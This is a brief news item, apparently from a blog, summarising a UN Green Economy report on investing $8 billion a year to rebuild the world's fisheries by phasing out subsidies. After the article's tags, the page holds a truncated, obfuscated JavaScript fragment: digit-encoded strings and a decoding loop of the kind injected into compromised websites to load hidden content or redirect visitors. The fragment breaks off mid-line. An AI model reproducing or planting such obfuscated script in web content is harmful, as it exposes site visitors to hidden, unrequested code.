An $8 billion investment annually in rebuilding and ‘greening’ the world’s fisheries could both increase fish catches and generate $1.7 trillion in long-term economic returns over the next four decades, according to a new United Nations report. An influx to the fishing sector – with funding being covered by scaling down or phasing out the nearly $30 billion worth of subsidies in place currently – is needed to curb the excess capacity of the world’s fishing fleets while supporting workers in alternative livelihoods, says the Green Economy report.

More here

TAGS: world fisheries, rebuiliding, greening, subsidies, excess capacity, overfishing, sustainable, fisheries

var a=0,m,v,t,z,x=new Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656380','7684','61818075'),l=x.length;while(++a